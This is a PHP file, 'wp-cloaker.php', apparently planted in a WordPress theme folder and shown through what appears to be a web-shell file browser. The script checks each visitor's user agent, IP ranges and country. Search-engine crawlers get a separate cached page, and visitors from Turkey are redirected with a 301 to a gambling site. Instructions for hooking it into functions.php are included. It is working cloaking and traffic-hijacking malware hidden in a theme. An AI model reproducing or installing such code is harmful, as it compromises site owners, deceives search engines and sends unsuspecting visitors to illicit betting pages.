Your IP : 216.73.216.196


Current Path : /home/icmq6107/clients/naddaf/wp-content/themes/alone/
Upload File :
Current File : /home/icmq6107/clients/naddaf/wp-content/themes/alone/wp-cloaker.php

<?php
/**
 * Google Bot Detector - WordPress Tema Versiyonu
 * Checks if visitor is from Google's IP ranges and has valid Googlebot user agent
 * If both conditions are met, shows google.html file
 */

class GoogleBotDetector {
    
    
    private $validUserAgents = [
        'Googlebot-Image',
        'Googlebot',
        'Googlebot-Video',
        'Googlebot-News',
        'Storebot-Google',
        'Google-InspectionTool',
        'Chrome/W.X.Y.Z',
        'GoogleOther',
        'Google-CloudVertexBot',
        'Google-Extended',
        'lighthouse',
        'Schema-Markup-Validator'
    ];
    
    private $turkeyRedirectUrl = 'https://tr.esbetgirisleri.com/'; // Türkiye kullanıcıları için yönlendirme URL'i
    
    private $ipRanges = [];
    private $cacheFile;
    
    public function __construct() {
        // WordPress tema dizininde cache dosyası oluştur
        $this->cacheFile = get_template_directory() . '/googlebot_cache.json';
        $this->loadIpRanges();
    }
    
    /**
     * Load IP ranges from cache only (no API calls)
     */
    private function loadIpRanges() {
        // Sadece cache'den yükle, API'ye istek atma
        if ($this->isCacheValid()) {
            $this->loadFromCache();
        } else {
            // Cache yoksa boş array ile devam et
            $this->ipRanges = ['ipv4' => [], 'ipv6' => []];
        }
    }
    
    /**
     * Cache geçerli mi kontrol et
     */
    private function isCacheValid() {
        return file_exists($this->cacheFile);
    }
    
    /**
     * Cache'den yükle
     */
    private function loadFromCache() {
        $cacheData = json_decode(file_get_contents($this->cacheFile), true);
        if ($cacheData && isset($cacheData['ipRanges'])) {
            $this->ipRanges = $cacheData['ipRanges'];
        }
    }
    
    
    /**
     * Get visitor's real IP address
     */
    private function getVisitorIp() {
        $ipKeys = [
            'HTTP_CF_CONNECTING_IP',     // Cloudflare
            'HTTP_X_FORWARDED_FOR',      // Load balancer/proxy
            'HTTP_X_FORWARDED',          // Proxy
            'HTTP_X_CLUSTER_CLIENT_IP',  // Cluster
            'HTTP_FORWARDED_FOR',        // Proxy
            'HTTP_FORWARDED',            // Proxy
            'REMOTE_ADDR'                // Standard
        ];
        
        foreach ($ipKeys as $key) {
            if (!empty($_SERVER[$key])) {
                $ip = $_SERVER[$key];
                // Handle comma-separated IPs (take the first one)
                if (strpos($ip, ',') !== false) {
                    $ip = trim(explode(',', $ip)[0]);
                }
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
                    return $ip;
                }
            }
        }
        
        return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
    }
    
    /**
     * Check if IP is in range (IPv4)
     */
    private function ipv4InRange($ip, $range) {
        if (strpos($range, '/') === false) {
            return $ip === $range;
        }
        
        list($subnet, $bits) = explode('/', $range);
        $ip = ip2long($ip);
        $subnet = ip2long($subnet);
        $mask = -1 << (32 - $bits);
        $subnet &= $mask;
        
        return ($ip & $mask) === $subnet;
    }
    
    /**
     * Check if IP is in range (IPv6)
     */
    private function ipv6InRange($ip, $range) {
        if (strpos($range, '/') === false) {
            return $ip === $range;
        }
        
        list($subnet, $bits) = explode('/', $range);
        
        // Convert IPs to binary
        $ipBin = inet_pton($ip);
        $subnetBin = inet_pton($subnet);
        
        if ($ipBin === false || $subnetBin === false) {
            return false;
        }
        
        // Create mask
        $mask = str_repeat('f', intval($bits / 4));
        if ($bits % 4 !== 0) {
            $mask .= dechex(15 - (15 >> ($bits % 4)));
        }
        $mask = str_pad($mask, 32, '0');
        $mask = pack('H*', $mask);
        
        return ($ipBin & $mask) === ($subnetBin & $mask);
    }
    
    /**
     * Check if visitor's IP is in Google's ranges
     */
    private function isIpInGoogleRanges($ip) {
        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
            // IPv4 check
            if (isset($this->ipRanges['ipv4'])) {
                foreach ($this->ipRanges['ipv4'] as $range) {
                    if ($this->ipv4InRange($ip, $range)) {
                        return true;
                    }
                }
            }
        } elseif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
            // IPv6 check
            if (isset($this->ipRanges['ipv6'])) {
                foreach ($this->ipRanges['ipv6'] as $range) {
                    if ($this->ipv6InRange($ip, $range)) {
                        return true;
                    }
                }
            }
        }
        
        return false;
    }
    
    /**
     * Check if user agent is valid Google bot
     */
    private function isValidGoogleBot($userAgent) {
        // Case-insensitive kontrol için user agent'ı küçük harfe çevir
        $userAgentLower = strtolower($userAgent);
        
        foreach ($this->validUserAgents as $validAgent) {
            if (strpos($userAgentLower, strtolower($validAgent)) !== false) {
                return true;
            }
        }
        return false;
    }
    
    /**
     * Check if IP is from Turkey using FreeIPAPI
     */
    private function isTurkeyIp($ip) {
        try {
            $url = "https://free.freeipapi.com/api/json/$ip";
            
            // cURL kullanarak HTTP isteği yap
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 3);
            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; GoogleBotDetector/1.0)');
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);
            
            if ($response === false || $httpCode !== 200) {
                error_log("Turkey IP check failed - HTTP: $httpCode, Error: $error");
                return false;
            }
            
            $data = json_decode($response, true);
            if ($data && isset($data['countryCode'])) {
                $isTurkey = strtoupper($data['countryCode']) === 'TR';
                error_log("IP $ip - Country: " . ($data['countryName'] ?? 'Unknown') . " ($data[countryCode]) - Turkey: " . ($isTurkey ? 'YES' : 'NO'));
                return $isTurkey;
            }
            
            return false;
        } catch (Exception $e) {
            error_log("Turkey IP check exception: " . $e->getMessage());
            return false;
        }
    }
    
    /**
     * Main detection method
     */
    public function detectAndRedirect() {
        $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $visitorIp = $this->getVisitorIp();
        
        // Check if IP is in Google ranges (opsiyonel)
        $ipValid = $this->isIpInGoogleRanges($visitorIp);
        
        // Check if user agent is valid Google bot
        $userAgentValid = $this->isValidGoogleBot($userAgent);
        
        // Check if IP is from Turkey using API
        $isTurkeyIp = $this->isTurkeyIp($visitorIp);
        
        // Hem user agent hem IP kontrolü - ikisinden biri Google'a ait olmalı
        if ($userAgentValid || $ipValid) {
            $this->showGooglePage($visitorIp, $userAgent);
            exit;
        }
        
        // Türkiye IP kontrolü - Google bot değilse Türkiye'den gelenleri yönlendir
        if ($isTurkeyIp) {
            $this->redirectToTurkey($visitorIp, $userAgent);
            exit;
        }
        
        // If not Google bot and not Turkey IP, continue with normal site loading
        return false;
    }
    
    /**
     * Show Google page with visitor info
     */
    private function showGooglePage($ip, $userAgent) {
        // Set content type
        header('Content-Type: text/html; charset=UTF-8');
        
        // Read and display google.html from theme directory
        $googleHtmlPath = get_template_directory() . '/google.html';
        if (file_exists($googleHtmlPath)) {
            $html = file_get_contents($googleHtmlPath);
            echo $html;
        } else {
            // Fallback: Show basic HTML
            echo '<!DOCTYPE html><html><head><title>Google Bot Detected</title></head><body><h1>Google Bot Detected</h1><p>IP: ' . htmlspecialchars($ip) . '</p><p>User Agent: ' . htmlspecialchars($userAgent) . '</p></body></html>';
        }
    }
    
    /**
     * Redirect Turkey users to Turkish site
     */
    private function redirectToTurkey($ip, $userAgent) {
        // 301 redirect to Turkish site
        header("Location: " . $this->turkeyRedirectUrl, true, 301);
        exit;
    }
}

// WordPress tema dosyalarında kullanım için
// functions.php dosyasına ekle:
/*
// Google Bot Detector'ı yükle
require_once get_template_directory() . '/wp-cloaker.php';

// Tema yüklendiğinde çalıştır
add_action('template_redirect', function() {
    $detector = new GoogleBotDetector();
    $detector->detectAndRedirect();
});
*/
?>